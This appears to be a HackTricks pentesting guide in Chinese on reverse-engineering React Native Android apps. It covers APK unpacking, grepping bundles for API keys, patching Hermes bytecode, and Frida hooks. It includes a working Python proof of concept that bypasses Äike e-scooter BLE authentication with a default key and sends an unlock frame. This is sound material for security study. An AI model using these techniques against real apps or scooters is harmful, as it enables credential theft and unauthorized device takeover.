React Native 应用分析
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
要确认应用是否基于 React Native 框架构建,请执行以下步骤:
-
将 APK 文件重命名为 zip 扩展名并解压到新文件夹,使用命令
cp com.example.apk example-apk.zip和unzip -qq example-apk.zip -d ReactNative。 -
进入新创建的 ReactNative 文件夹并定位 assets 文件夹。在该文件夹内,您应该能找到文件
index.android.bundle,其中包含压缩的 React JavaScript。 -
使用命令
find . -print | grep -i ".bundle$"来搜索该 JavaScript 文件。
注意:如果您得到的是 Android App Bundle (.aab) 而不是 APK,请先生成一个 universal APK,然后提取 bundle:
# Get bundletool.jar and generate a universal APK set
java -jar bundletool.jar build-apks \
--bundle=app-release.aab \
--output=app.apks \
--mode=universal \
--overwrite
# Extract the APK and then unzip it to find assets/index.android.bundle
unzip -p app.apks universal.apk > universal.apk
unzip -qq universal.apk -d ReactNative
ls ReactNative/assets/
JavaScript 代码
如果检查 index.android.bundle 的内容,你会发现应用的 JavaScript 代码(即使已压缩),你可以分析它以发现敏感信息和漏洞。
由于该 bundle 实际上包含了应用的全部 JS 代码,可以使用 工具 react-native-decompiler 将其分割成不同的文件(可能使逆向工程更容易)。
Webpack
为了进一步分析 JavaScript 代码,你可以将文件上传到 https://spaceraccoon.github.io/webpack-exploder/ 或者按照以下步骤操作:
- 在相同目录下创建一个名为
index.html的文件,内容如下:
<script src="./index.android.bundle"></script>
-
在 Google Chrome 中打开
index.html文件。 -
按 Command+Option+J(OS X) 或 Control+Shift+J(Windows) 打开开发者工具栏。
-
在开发者工具栏中点击 “Sources”。你应该会看到一个被拆分成多个文件夹和文件的 JavaScript 文件,构成主 bundle。
如果你找到名为 index.android.bundle.map 的文件,你就可以以未压缩(unminified)的格式分析源代码。map 文件包含 source mapping(源映射),允许你将压缩后的标识符映射回原始标识符。
要搜索敏感凭证和端点,请按以下步骤操作:
-
确定要用于分析 JavaScript 代码的敏感关键字。React Native 应用通常会使用第三方服务,比如 Firebase、AWS S3 服务端点、私钥等。
-
在这个具体案例中,观察到应用使用了 Dialogflow 服务。搜索与其配置相关的模式。
-
幸运的是,在侦察过程中在 JavaScript 代码中发现了敏感的硬编码凭证。
Quick secrets/endpoint hunting in bundles
这些简单的 greps 往往能在压缩的 JS 中发现有趣的指示:
# Common backends and crash reporters
strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)"
# Firebase / Google keys (heuristics)
strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})"
# AWS access key id heuristic
strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}"
# Expo/CodePush deployment keys
strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)"
# Sentry DSN
strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"
如果你怀疑存在 Over-The-Air 更新框架,也要查找:
- Microsoft App Center / CodePush deployment keys
- Expo EAS Updates 配置 (
expo-updates,expo\.io, 签名证书)
更改 JS 代码并重新构建
在这种情况下更改代码很容易。你只需将应用重命名为使用扩展名 .zip 并解压。然后你可以 修改此 bundle 中的 JS 代码并重新构建应用。这通常足以让你在应用中 inject code 以进行测试。
Hermes bytecode
如果 bundle 包含 Hermes bytecode,你 将无法访问应用的 Javascript 代码(甚至无法访问压缩后的版本)。
你可以通过运行以下命令检查该 bundle 是否包含 Hermes bytecode:
file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 96
不过,你可以使用工具 hbctool、支持较新版 bytecode 的 hbctool 更新分支、hasmer、hermes_rs(Rust 库/API)或 hermes-dec 来 disassemble the bytecode 并 decompile it to some pseudo JS code。例如:
# Disassemble and re-assemble with hbctool (works only for supported HBC versions)
hbctool disasm ./index.android.bundle ./hasm_out
# ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)...
hbctool asm ./hasm_out ./index.android.bundle
# Using hasmer (focus on disassembly; assembler/decompiler are WIP)
hasmer disasm ./index.android.bundle -o hasm_out
# Using hermes-dec to produce pseudo-JS
hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
hbc-decompiler ./index.android.bundle /tmp/my_output_file.js
Tip:开源 Hermes 项目在特定的 Hermes 发布版本中也随附了一些开发者工具,例如 hbcdump。如果你编译出与生成该 bundle 所用的 Hermes 版本相匹配的版本,hbcdump 可以导出函数、字符串表和字节码以便进行更深入的分析。
修改代码并重建 (Hermes)
理想情况下,你应该能够修改反汇编后的代码(改变一个比较、某个值,或任何你需要修改的内容),然后重建字节码并重建应用。
- 原始的 hbctool 支持对 bundle 进行反汇编并在修改后重新组装,但历史上只支持较旧的字节码版本。社区维护的 forks 扩展了对更新 Hermes 版本(包括 mid-80s–96)的支持,通常是修补现代 RN 应用时最实用的选择。
- 工具 hermes-dec 不支持重建字节码(仅为反编译器/反汇编器),但它在浏览逻辑和导出字符串方面非常有用。
- 工具 hasmer 旨在支持多个 Hermes 版本的反汇编与汇编;汇编功能仍在完善中,但值得在较新的字节码上尝试。
使用类似 hbctool 的汇编器的最小工作流程:
# 1) Disassemble to HASM directories
hbctool disasm assets/index.android.bundle ./hasm
# 2) Edit a guard or feature flag (example: force boolean true)
# In the relevant .hasm, replace a LoadConstUInt8 0 with 1
# or change a conditional jump target to bypass a check.
# 3) Reassemble into a new bundle
hbctool asm ./hasm assets/index.android.bundle
# 4) Repack the APK and resign
zip -r ../patched.apk *
# Align/sign as usual (see Android signing section in HackTricks)
Note that Hermes bytecode format is versioned and the assembler must match the exact on-disk format. If you get format errors, switch to an updated fork/alternative or rebuild the matching Hermes tooling.
动态分析
你可以尝试对应用进行动态分析,方法是使用 Frida 启用 React 应用的开发者模式,并使用 react-native-debugger 附加到它上面。不过,显然这需要应用的源代码。更多信息见 https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/。
在 release 构建中使用 Frida 启用 Dev Support(注意事项)
有些应用意外地包含了可以切换 Dev Support 的类。如果存在,你可以尝试强制 getUseDeveloperSupport() 返回 true:
// frida -U -f com.target.app -l enable-dev.js
Java.perform(function(){
try {
var Host = Java.use('com.facebook.react.ReactNativeHost');
Host.getUseDeveloperSupport.implementation = function(){
return true; // force dev support
};
console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport');
} catch (e) {
console.log('[-] Could not patch: ' + e);
}
});
警告:在正确构建的 release builds 中,DevSupportManagerImpl 和相关的仅用于调试的类会被剥离,切换此标志可能会导致应用崩溃或无效。当此方法可行时,通常可以暴露 dev 菜单并附加调试器/检查器。
RN 应用中的网络拦截
React Native Android 通常在底层依赖 OkHttp(通过 Networking native module)。要在动态测试期间在未 root 的设备上拦截/观察流量:
- 使用系统代理 + 信任 user CA 或使用其他通用的 Android TLS 绕过技术。
- RN 特定提示:如果应用错误地在 release 中打包了 Flipper(调试工具),Flipper Network 插件可以暴露请求/响应。
有关通用的 Android 拦截和 pinning 绕过技术,请参阅:
Make APK Accept CA Certificate
使用 Frida 的运行时 GATT 协议发现(Hermes-friendly)
当 Hermes 字节码阻止对 JS 的简单静态分析时,改为 hook Android BLE 栈。android.bluetooth.BluetoothGatt 和 BluetoothGattCallback 暴露了应用发送/接收的所有内容,允许你在没有 JS 源码的情况下逆向专有的 challenge-response 和命令帧。
Frida GATT 日志记录器 (UUID + hex/ASCII dumps)
```js Java.perform(function () { function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); } function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); } var G = Java.use('android.bluetooth.BluetoothGatt'); var Cb = Java.use('android.bluetooth.BluetoothGattCallback');G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (c) {
console.log(\n>>> WRITE ${c.getUuid()}); console.log(b2h(c.getValue())); console.log(b2a(c.getValue()));
return this.writeCharacteristic(c);
};
G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’,‘[B’,‘int’).implementation = function (c,v,t) {
console.log(\n>>> WRITE ${c.getUuid()} (type ${t})); console.log(b2h(v)); console.log(b2a(v));
return this.writeCharacteristic(c,v,t);
};
Cb.onConnectionStateChange.overload(‘android.bluetooth.BluetoothGatt’,‘int’,‘int’).implementation = function (g,s,n) {
console.log(*** STATE ${n} (status ${s})); return this.onConnectionStateChange(g,s,n);
};
Cb.onCharacteristicRead.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’,‘int’).implementation = function (g,c,s) {
var v=c.getValue(); console.log(\n<<< READ ${c.getUuid()} status ${s}); console.log(b2h(v)); console.log(b2a(v));
return this.onCharacteristicRead(g,c,s);
};
Cb.onCharacteristicChanged.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (g,c) {
var v=c.getValue(); console.log(\n<<< NOTIFY ${c.getUuid()}); console.log(b2h(v));
return this.onCharacteristicChanged(g,c);
};
});
</details>
Hook `java.security.MessageDigest` 以指纹识别基于哈希的握手并捕获确切的输入拼接:
<details>
<summary>Frida MessageDigest tracer (algorithm, input, output)</summary>
```js
Java.perform(function () {
var MD = Java.use('java.security.MessageDigest');
MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
});
一个真实世界的 BLE 流程如下:
- 从
00002556-1212-efde-1523-785feabcd123读取 challenge。 - 计算
response = SHA1(challenge || key),其中该 key 在所有设备上都默认配置为 20-byte 的 0xFF。 - 将 response 写入
00002557-1212-efde-1523-785feabcd123,然后在0000155f-1212-efde-1523-785feabcd123上发送命令。
一旦认证通过,命令为发送到 ...155f... 的 10 字节帧([0]=0x00,[1]=registry 0xD4,[3]=cmd id,[7]=param)。示例:解锁 00 D4 00 01 00 00 00 00 00 00,锁定 ...02...,节能模式开启 ...03...01...,打开电池舱 ...04...。通知到达 0000155e-1212-efde-1523-785feabcd123(2-byte registry + payload),并且可以通过向 00001564-1212-efde-1523-785feabcd123 写入 registry ID 然后从 ...155f... 读取来轮询 registry 值。
使用共享/默认 key 时,challenge-response 机制形同虚设。任何附近的攻击者都可以计算出 digest 并发送特权命令。一个最小的 bleak PoC:
Python (bleak) BLE auth + unlock via default key
```python import asyncio, hashlib from bleak import BleakClient, BleakScanner CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"def filt(d,_): return d.name and d.name in [“AIKE”,“AIKE_T”,“AIKE_11”] async def main(): dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0) if not dev: return async with BleakClient(dev.address) as c: chal = await c.read_gatt_char(CHAL) resp = hashlib.sha1(chal + b’\xff’*20).digest() await c.write_gatt_char(RESP, resp, response=False) await c.write_gatt_char(CMD, bytes.fromhex(‘00 d4 00 01 00 00 00 00 00 00’), response=False) await asyncio.sleep(0.5) asyncio.run(main())
</details>
## 流行 RN 库的近期问题(检查要点)
在审计 JS bundle 或 native libs 中可见的第三方模块时,检查已知漏洞并在 `package.json`/`yarn.lock` 中核实版本。
- react-native-mmkv(Android):2.11.0 之前的版本会把可选的加密密钥记录到 Android 日志。如果 ADB/logcat 可用,秘密可能被恢复。确保 >= 2.11.0。迹象:使用了 `react-native-mmkv`,日志语句提到 MMKV init with encryption。CVE-2024-21668。
- react-native-document-picker:< 9.1.1 的版本在 Android(文件选择)上存在路径遍历漏洞,已在 9.1.1 修复。验证输入和库版本。
快速检查:
```bash
grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true
grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true
# If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock
参考资料
- https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7
- https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications
- https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf
- CVE-2024-21668 - react-native-mmkv 在 Android 上记录加密密钥 (NVD)
- hbctool(及其 forks)用于 Hermes 的 assemble/disassemble
- Äike BLE 认证绕过:默认 BLE 私钥允许解锁任何附近的电动滑板车
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


